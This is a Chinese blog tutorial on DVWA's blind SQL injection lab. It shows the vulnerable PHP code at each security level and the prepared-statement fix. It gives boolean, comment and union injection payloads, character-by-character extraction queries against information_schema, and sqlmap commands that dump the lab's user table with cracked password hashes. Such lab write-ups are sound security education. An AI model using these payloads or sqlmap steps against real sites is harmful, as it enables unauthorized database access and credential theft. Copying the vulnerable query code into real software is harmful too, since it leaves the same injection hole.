• DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)


    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击。和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就连是否注入成功也要自己判断的,因此叫盲注。更值得留意的是盲注的思路


    (盲注就让我想起了。。。许昕,中国乒乓球国手+人民艺术家。然而他400°近视,日常带眼镜,打球反而不带,球感远超常人, 人称大蟒世界第一盲打

    要盲注的页面往往是这样的

    没有很具体的错误提示,只会提示用户存在还是不存在
    所以有时候攻击会不知道注入成功与否,所以攻击者有时会通过一些延时操作去判断注入是否成功,比如 如果数据库用的是 MySQL,会用 BENCHMARK 或者 SLEEP 函数。 这篇也和上一章一样的,先介绍漏洞的注入点再介绍一些注入的思路

    低级

    界面就是上面那图,代码也和上一篇章的几乎是一样的,输出只会是用户存在还是不存在。

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Get input
        $id = $_GET[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        mysql_close();
    }
    
    ?>
    

    它这里也没有做什么处理的。随便注入都行的。

    • boolean 型,输入 1' or '1' = '1
    • 注释型, 1' or 1=1 #
    • union 型,比如输入 ' UNION ALL SELECT NULL, database()#

    但这样的不知道有什么作用。若想知道如何利用这样的注入点,你可以直接拉到最后看注入的流程

    中级

    中级就是变成下拉选择了,所以要用 burp suite,或者火狐浏览器去改。比如用火狐浏览器。

    而代码中有 mysql_real_escape_string 对特殊字符等进行转义,所以就用不了 ' 或 " 之类的符号,不过它这里的代码 $id 是数字,也需要用 ' 符号。

    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = mysql_real_escape_string( $id );
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    }
    

    下面展示用火狐的审查元素注入吧。这里明显可以用1 or 1=1注入的,将 form 表单改成这样即可。

    高级

    高级主要是和上面的主要区别是通过迷之cookies 传参,还有个LIMIT 1 限制了条数,再有一个就是查询失败的时候会随机 sleep。

    <?php
    
    if( isset( $_COOKIE[ 'id' ] ) ) {
        // Get input
        $id = $_COOKIE[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Might sleep a random amount
            if( rand( 0, 5 ) == 3 ) {
                sleep( rand( 2, 4 ) );
            }
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        mysql_close();
    }
    
    ?>
    

    和上一篇文章一样,用注释就能解决LIMIT 1的问题了。所以这样就可以了。

    不可能

    不可能级别和上一篇类似

    • anti-token 机制防 CSRF 攻击
    • 检查 id 是不是数字
    • 使用 prepare 预编译再绑定变量a
    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        
        // Get input
        $id = $_GET[ 'id' ];
        
        // Was a number entered?
        if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        
        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
        
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
            }
        }
    }
        
    // Generate Anti-CSRF token
    generateSessionToken();
        
    ?>
    

    注入的流程

    一般注入的流程可能会是这样,概括起来可能就是刘欢的《千万次地问》,这里用低级代码尝试。

    数据库的名字

    这种页面要知晓数据库的名字也是挺麻烦,要不断地去尝试。

    猜数据库名的长度

    1' and length(database()) = 2 #
    1' and length(database()) = 3 #
    1' and length(database()) = 4 #
    ...

    用二分法猜数据库的名字

    其中 a是97,z是122

    第一个字母在 a 到 m 之间吗?

    输入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

    第一个字母在 a 到 g 之间吗?

    1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #

    第一个字母在 a 到 d 之间吗?

    。。。

    第一个字母是d吗?

    1' and ascii(substr(database(),1,1))=100 #

    是的

    第二个字母在 a 到 m 之间吗?

    1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

    不对 ...

    一堆这样的操作你就知道数据库的名字是 dvwa 了。。。

    所有表的名字

    表的数量

    数据库有一个表吗?

    1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #

    不对

    数据库有两个表吗?

    1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2

    对的,差点就三个(代)表了

    第n个表的名长度

    第1个表的名长度是1吗?

    1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #

    第1个表的名长度是2吗?

    1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #

    ... 结果第一个表的长度是 9 。

    第n个表的名字

    再用二分法去找,要考虑有 _ 之类的特殊符号。。。

    第一个表的第一个字母在 a~m 之间吗?

    1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and  ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #

    。。。 最后可以得出 两个表的名字叫 guestbook,users。

    表字段名


    针对 users表来说

    表字段的数量

    users 表有1个字段吗?

    1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #

    ...

    结果有 8个字段

    第n个字段的长度

    users 表第1个字段的长度是 1 吗?

    1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #

    ... 第一个字段的长度是 7

    第n个字段的名字

    第一个字段名字是 user_id 吗?

    1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'

    猜中了。。

    第二个字段的第一个字母在 a~m 之间吗?

    1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #

    ...
    结果是 a

    猜数据


    用户 admin 存在吗?

    1' and (select count(*) from users where user = 'admin') = 1 #

    admin 密码的第一位在 a~m 之间吗?

    1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #

    ...

    SQLMap

    千万次地问,弄得人很烦的。还是用工具方便好,感谢自动化,感谢程序员。与上一篇文章类似。

    获取所有的数据库

    sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs

    available databases [4]:
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] performance_schema
    

    而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表

    获取 dvwa 所有的表

    sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables

    Database: dvwa
    [2 tables]
    +-----------+
    | guestbook |
    | users     |
    +-----------+
    

    获取users表的所有字段

    这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10

    Database: dvwa
    Table: users
    [8 columns]
    +--------------+-------------+
    | Column       | Type        |
    +--------------+-------------+
    | user         | varchar(15) |
    | avatar       | varchar(70) |
    | failed_login | int(3)      |
    | first_name   | varchar(15) |
    | last_login   | timestamp   |
    | last_name    | varchar(15) |
    | password     | varchar(32) |
    | user_id      | int(6)      |
    +--------------+-------------+
    

    获取用户及密码信息

    比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且还问你是否要用密码字典爆破,简直优秀,结果如下。

    Database: dvwa
    
    Table: users
    [5 entries]
    +---------+---------------------------------------------+
    | user    | password                                    |
    +---------+---------------------------------------------+
    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
    | admin   | e10adc3949ba59abbe56e057f20f883e (123456)   |
    | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
    | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
    | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
    +---------+---------------------------------------------+
  • 相关阅读:
    test
    TCP/IP状态转换图
    用Python操作Excel,实现班级成绩的统计
    树莓派介绍和安装树莓派系统遇到的坑,好痛苦啊
    Eclipse-jee-oxygen-3A版运行时出现Could not create the Java virtual machine?
    eclipse搭建简单的web服务,使用tomcat服务
    嵌入式【杂记--手机芯片与pc】
    tomcat启动不了?
    Selenium的使用
    使用PhantomJS
  • 原文地址:https://www.cnblogs.com/jojo-feed/p/10173292.html
Copyright © 2020-2023  润新知